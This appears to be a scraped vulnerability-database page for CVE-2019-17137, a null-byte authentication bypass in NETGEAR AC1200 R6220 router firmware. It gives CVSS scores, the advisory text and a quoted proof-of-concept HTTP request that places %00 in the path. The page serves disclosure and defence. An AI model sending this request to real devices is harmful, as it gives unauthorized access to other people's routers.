Published: 10/02/2020 Updated: 09/10/2020

CVSS v2 Base Score: 7.5 | Impact Score: 6.4 | Exploitability Score: 10

CVSS v3 Base Score: 9.4 | Impact Score: 5.5 | Exploitability Score: 3.9

VMScore: 668

Vector: AV:N/AC:L/Au:N/C:P/I:P/A:P

This vulnerability allows network-adjacent malicious users to bypass authentication on affected installations of NETGEAR AC1200 R6220 Firmware version 1.1.0.86 Smart WiFi Router. Authentication is not required to exploit this vulnerability. The specific flaw exists within the processing of path strings. By inserting a null byte into the path, the user can skip most authentication checks. An attacker can leverage this vulnerability to bypass authentication on the system. Was ZDI-CAN-8616.

Vulnerable Product	Search on Vulmon	Subscribe to Product
netgear ac1200_r6220_firmware 1.1.0.86

CVE-2019-17137 POC

CVE-2019-17137 Info CVE: cvemitreorg/cgi-bin/cvenamecgi?name=CVE-2019-17137 POC GET /indexhtm%00currentsettinghtm HTTP/11 Host: 19216811 User-Agent: Mozilla/50 (Macintosh; Intel Mac OS X 1015; rv:780) Gecko/20100101 Firefox/780 Accept: */* Accept-Language: zh-CN,zh;q=08,zh-TW;q=07,zh-HK;q=05,en-US;q=03,en;q=02 Accept-Encoding: gzip, deflate Connection

NVD-CWE-Other https://www.zerodayinitiative.com/advisories/ZDI-19-866/https://nvd.nist.gov https://github.com/vncloudsco/CVE-2019-17137

Get Started

Vulmon Search is a vulnerability search engine. It gives comprehensive vulnerability information through a very simple user interface.

Home Recent Vulnerabilities Research Posts Trends Blog About Contact

Vulmon Search Vulmon Research Vulmon Alerts Vulmap

Twitter Reddit Linkedin Facebook

CVE-2019-17137

Vulnerability Summary

Vulnerability Trend

Github Repositories

References

Vulmon Search

About

Products

Connect